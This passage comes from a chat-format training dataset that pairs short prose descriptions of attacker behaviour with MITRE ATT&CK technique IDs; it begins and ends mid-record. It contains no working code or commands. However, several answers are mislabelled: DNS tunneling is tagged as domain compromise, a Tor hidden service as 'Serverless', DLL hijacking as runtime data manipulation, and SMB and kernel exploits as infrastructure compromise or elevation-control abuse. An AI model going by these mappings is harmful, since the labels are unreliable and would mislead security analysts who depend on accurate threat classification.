        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware extracts DHCP lease information from the victim's system to identify all active hosts and their assigned IP addresses."
            },
            {
                "role": "assistant",
                "content": "T1590.004 - Gather Victim Network Information: Network Topology"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious update replaces the default network provider DLL, allowing the adversary to capture clear‑text passwords from SMB connections."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor replaces the organization's login page with a defaced version showing graffiti."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries abuse the Nomad job scheduler to set up a recurring task that establishes a reverse shell to the command and control server."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion campaign leverages offline password cracking on captured password hashes using GPU-accelerated tools."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit modifies the authentication schema to store passwords encrypted with a reversible algorithm, allowing the attacker to decrypt them on demand."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group performed credential stuffing on a cloud management console, seized a VPS, and used it for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor leverages a compromised service account to create additional accounts in the cloud environment for persistence."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers clear the macOS system logs that track network connections and erase the contents of the network preferences plist files."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes QEMU virtualization to execute ransomware code without leaving traces on the host filesystem."
            },
            {
                "role": "assistant",
                "content": "T1564.006 - Hide Artifacts: Run Virtual Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor provides malicious data that the application treats as a template, causing server‑side code execution via template injection."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A nation-state actor modifies the BIOS firmware of motherboards at the factory to embed a backdoor that activates after OS boot."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing DCOM, the attacker remotely creates COM objects on the victim machine, enabling communication between compromised services."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set queries the local security policy with secedit.exe to dump password complexity and aging settings."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware loads a kernel module that issues IOCTL commands to read the entire disk image for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1006 - Direct Volume Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employed a DNS tunneling technique over a compromised domain to exfiltrate data from the target network."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Wi‑Fi adapter is added to a corporate laptop, providing an attacker with covert network access."
            },
            {
                "role": "assistant",
                "content": "T1200 - Hardware Additions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A crafted input triggers a null pointer dereference in a security agent, crashing the endpoint and denying access to all applications."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT uses HTTPS tunneling via a reverse proxy to hide malicious traffic within legitimate services."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor triggered a snapshot of a digital ocean droplet via the provider's API to preserve the state of the infected machine for future exploitation."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary runs a cleanup routine that erases all evidence of previous network sessions and restores default network configurations."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker abuses Windows NTFS transaction APIs to roll back a malicious executable, allowing it to run in memory without touching the disk, known as Process Doppelgänging."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits the PubPrn API to install a malicious driver that initiates a reverse shell whenever a document is sent to the printer."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider used their own Google Workspace credentials to export service account keys and exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware triggers an OS resource exhaustion flood by continuously creating processes that consume all available CPU and memory, eventually crashing the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1499.001 - Endpoint Denial of Service: OS Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit targets a kernel driver vulnerability to obtain SYSTEM level access on Windows."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used default SNMP community strings to download MIB data, exposing credentials stored in the device."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary employs the 'Get-WmiObject Win32_NetworkAdapterConfiguration' WMI class to list network adapter configurations."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion technique consists of invoking odbcconf with crafted arguments to load a backdoored DLL, leveraging the trusted binary for code execution."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Chrome extension exploits a browser privilege escalation bug to write to the file system as admin."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets up a WebSocket connection to a public cloud service and streams RSA‑encrypted logs, disguising the traffic as normal web traffic."
            },
            {
                "role": "assistant",
                "content": "T1048.002 - Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leveraged a Python command line to modify registry keys for persistence."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors create a fake job posting on a professional networking site to collect applicant credentials."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code initiated SNMP GetBulk operations to pull network device settings for later use."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages a pre‑existing local account with administrative rights to execute privileged commands."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker conducts reconnaissance on a target organization's social media presence."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor transferred a DLL hijacking tool from a compromised external site onto the victim machine using a crafted HTTP GET request."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through token cloning, the threat actor duplicates a valid token from a service account and uses it to bypass access controls on the network."
            },
            {
                "role": "assistant",
                "content": "T1134.003 - Access Token Manipulation: Make and Impersonate Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team places a malicious .exe in the Windows Services directory and configures it to start automatically."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leverage PowerShell to add a new trusted root certificate, allowing their payloads to run with elevated trust."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor performs Parent PID spoofing by adjusting the token's parent process identifier to a high‑privilege entity."
            },
            {
                "role": "assistant",
                "content": "T1134.004 - Access Token Manipulation: Parent PID Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compromise a virtual private server by stealing API keys from the provider, enabling them to spin up resources that serve as staging grounds for further attacks."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By flashing an older firmware image, the malicious actor downgrades the system to a vulnerable state before exploiting known bugs."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware injects a new root certificate into the system's certificate authority list to spoof secure connections."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker issues a sc stop command on the Remote Registry service to impede system configuration changes."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage group sets up a covert channel by embedding data in the body of HTTPS POST requests to a remote web server."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor employs DLL hijacking to replace a legitimate library at runtime, causing the application to load malicious code."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware overwrites the .bash_history file with empty content to hide evidence of executed commands."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employ Naver search engine queries to identify the target's public-facing applications and services."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware silently mines cryptocurrency in the background, draining battery and performance on user laptops."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries remove network share connections from the victim's system to erase evidence of data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages system calls to retrieve a list of all plugged‑in hardware, focusing on removable media for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary adds malicious data to the resource fork of a macOS file, hiding the payload from typical file system views."
            },
            {
                "role": "assistant",
                "content": "T1564.009 - Hide Artifacts: Resource Forking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker drops a malicious systemd unit file into /etc/systemd/system/ and enables it to achieve persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary generates fake authentication tickets by reverse‑engineering the token generation algorithm used by the target web application."
            },
            {
                "role": "assistant",
                "content": "T1606 - Forge Web Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromise of a shared network folder by replacing legitimate files with trojanized versions to spread malware."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a Word document creates a scheduled task that runs Excel.exe with a hidden payload on system startup."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group adds a crypto-mining payload to a legitimate software update, causing victim machines to mine Bitcoin."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used the Windows Management Instrumentation (WMI) to launch a PowerShell script through \"wmic.exe\" as a proxy, achieving code execution without directly invoking the script interpreter."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set uses the \"Get-ComputerInfo\" PowerShell cmdlet to pull BIOS and firmware version information from the target."
            },
            {
                "role": "assistant",
                "content": "T1592.003 - Gather Victim Host Information: Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the TLS slot of a legitimate process, storing a payload there and using NtQueueApcThread to execute it."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ransomware variant includes a payload that, after encrypting files, issues a command to securely erase the disk contents."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a flaw in the SAML assertion validation to bypass multi-factor authentication and assume the victim's identity."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a two‑phase communication: initial contact via a public pastebin gist, followed by a stealthy reverse SSH tunnel for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion script sent SMB requests to every IP in the 10.0.0.0/24 range to identify live hosts."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary sets up a hidden Tor hidden service to host command‑and‑control communications."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During post-exploitation, the actor retrieves the password policy from Active Directory using the dsquery command."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the configuration of an endpoint protection agent to turn off real-time scanning."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries harvest domain credentials and use them to log in to Windows workstations without raising suspicion."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised host's network connection logs are cleared, and recent DNS cache entries are removed to cover tracks."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries wrap exfiltrated files in a PDF, then apply a non‑standard base91 encoding before transmitting them via FTP."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit a memory corruption bug in the SMB service to gain system-level code execution on the file server."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a malicious payload that overflows a stack buffer in a privileged service, leading to system crash."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets the BIOS to perform a factory reset, which includes a complete disk wipe."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors purchase detailed network diagrams from a black‑market source to map the victim's internal architecture."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By injecting malicious commands into the rc.local file, the attacker ensures their malware runs during system initialization."
            },
            {
                "role": "assistant",
                "content": "T1037.004 - Boot or Logon Initialization Scripts: RC Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
